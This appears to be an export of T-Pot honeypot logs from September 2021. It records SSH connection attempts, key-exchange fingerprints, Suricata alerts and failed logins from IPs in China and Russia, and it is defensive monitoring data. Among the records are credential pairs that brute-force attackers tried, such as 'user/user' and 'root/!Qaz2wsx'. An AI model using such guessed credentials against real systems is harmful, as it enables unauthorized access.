35928	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 15:10:43.317219+03	2021-09-20 15:15:03.907689+03	{"_id": "pAYdA3wBvYTbRNuEmF6J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "acf9475303fa", "@version": "1", "timestamp": "2021-09-20T12:10:43.317219Z", "@timestamp": "2021-09-20T12:10:43.317Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
46852	192.168.20.118	109.199.241.180	Suricata	2021-09-20 16:45:58.924868+03	2021-09-20 17:00:03.325693+03	{"_id": "KgZ0A3wBvYTbRNuEzq59", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.118", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:45:58.924868Z", "@timestamp": "2021-09-20T13:45:58.924Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
35929	120.36.157.98	109.199.241.180	Suricata	2021-09-20 15:10:43.316407+03	2021-09-20 15:15:03.908719+03	{"_id": "pQYdA3wBvYTbRNuEmV6r", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "120.36.157.98", "dest_ip": "192.168.20.116", "flow_id": 540192972908996, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 64125, "dest_port": 22, "timestamp": "2021-09-20T12:10:43.316407Z", "@timestamp": "2021-09-20T12:10:43.316Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
35930	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 15:10:45.347915+03	2021-09-20 15:15:03.90972+03	{"_id": "swYdA3wBvYTbRNuEoF5b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 183.17.231.81:49646 (192.168.176.2:22) [session: daecd1cf5bab]", "session": "daecd1cf5bab", "@version": "1", "protocol": "ssh", "src_port": 49646, "dest_port": 22, "timestamp": "2021-09-20T12:10:45.347915Z", "@timestamp": "2021-09-20T12:10:45.347Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
35931	5.188.62.219	109.199.241.180	Cowrie	2021-09-20 15:10:45.373914+03	2021-09-20 15:15:03.911691+03	{"_id": "sAYdA3wBvYTbRNuEoF5b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-gcm@openssh.com", "chacha20-poly1305@openssh.com", "aes128-ctr", "aes192-ctr", "aes256-ctr", "aes128-cbc", "3des-cbc", "arcfour", "arcfour128", "arcfour256"], "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "eccf733a56108dec8ecc8efbc681be63", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512", "hmac-sha2-256", "hmac-sha1", "hmac-sha1-96"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "5.188.62.219", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ssh-ed25519-cert-v01@openssh.com", "ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss", "ssh-ed25519"], "message": "SSH client hassh fingerprint: eccf733a56108dec8ecc8efbc681be63", "session": "660c738703e1", "@version": "1", "timestamp": "2021-09-20T12:10:45.373914Z", "@timestamp": "2021-09-20T12:10:45.373Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}}	1	\N	cowrie.client.kex	\N	\N	RU
35932	5.188.62.219	109.199.241.180	Cowrie	2021-09-20 15:10:45.316921+03	2021-09-20 15:15:03.91269+03	{"_id": "sQYdA3wBvYTbRNuEoF5b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.219", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-Go'", "session": "660c738703e1", "version": "b'SSH-2.0-Go'", "@version": "1", "timestamp": "2021-09-20T12:10:45.316921Z", "@timestamp": "2021-09-20T12:10:45.316Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	RU
35933	5.188.62.219	109.199.241.180	Cowrie	2021-09-20 15:10:45.561607+03	2021-09-20 15:15:03.91369+03	{"_id": "sgYdA3wBvYTbRNuEoF5b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.219", "eventid": "cowrie.login.failed", "message": "login attempt [user/user] failed", "session": "660c738703e1", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T12:10:45.561607Z", "@timestamp": "2021-09-20T12:10:45.561Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	RU
35934	183.17.231.81	109.199.241.180	Suricata	2021-09-20 15:10:45.647805+03	2021-09-20 15:15:03.91569+03	{"_id": "tQYdA3wBvYTbRNuEoV58", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "183.17.231.81", "dest_ip": "192.168.20.116", "flow_id": 755392309475692, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49646, "dest_port": 22, "timestamp": "2021-09-20T12:10:45.647805Z", "@timestamp": "2021-09-20T12:10:45.647Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
35935	183.17.231.81	109.199.241.180	Suricata	2021-09-20 15:10:45.647868+03	2021-09-20 15:15:03.916691+03	{"_id": "tgYdA3wBvYTbRNuEoV58", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:10:45.047468+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "183.17.231.81", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 755392309475692, "payload": "AAADzAYUn09o/oNrDSFLqrDBXUW5GgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49646, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:10:45.647868Z", "@timestamp": "2021-09-20T12:10:45.647Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......Oh..k\\r!K...]E.....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	CN
35937	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:10:43.008688+03	2021-09-20 15:15:03.91969+03	{"_id": "oQYdA3wBvYTbRNuEl14H", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "120.36.157.98", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 64125, "timestamp": "2021-09-20T12:10:43.008688", "@timestamp": "2021-09-20T12:10:43.008Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35938	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 15:10:43.007396+03	2021-09-20 15:15:03.92069+03	{"_id": "owYdA3wBvYTbRNuEmF6J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 120.36.157.98:64125 (192.168.176.2:22) [session: acf9475303fa]", "session": "acf9475303fa", "@version": "1", "protocol": "ssh", "src_port": 64125, "dest_port": 22, "timestamp": "2021-09-20T12:10:43.007396Z", "@timestamp": "2021-09-20T12:10:43.007Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
35939	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 15:10:44.649839+03	2021-09-20 15:15:03.92169+03	{"_id": "rgYdA3wBvYTbRNuEoF5a", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.login.failed", "message": "login attempt [root/!Qaz2wsx] failed", "session": "acf9475303fa", "@version": "1", "password": "!Qaz2wsx", "username": "root", "timestamp": "2021-09-20T12:10:44.649839Z", "@timestamp": "2021-09-20T12:10:44.649Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
35940	5.188.62.219	109.199.241.180	Suricata	2021-09-20 15:10:45.373478+03	2021-09-20 15:15:03.92369+03	{"_id": "twYdA3wBvYTbRNuEoV58", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.219", "dest_ip": "192.168.20.116", "flow_id": 1812714473514290, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 55896, "dest_port": 22, "timestamp": "2021-09-20T12:10:45.373478Z", "@timestamp": "2021-09-20T12:10:45.373Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	RU
35941	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:10:45.317876+03	2021-09-20 15:15:03.924691+03	{"_id": "vwYdA3wBvYTbRNuEol6-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "5.188.62.219", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 55896, "timestamp": "2021-09-20T12:10:45.317876", "@timestamp": "2021-09-20T12:10:45.317Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35942	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:10:45.351131+03	2021-09-20 15:15:03.925691+03	{"_id": "wAYdA3wBvYTbRNuEol6-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "183.17.231.81", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49646, "timestamp": "2021-09-20T12:10:45.351131", "@timestamp": "2021-09-20T12:10:45.351Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
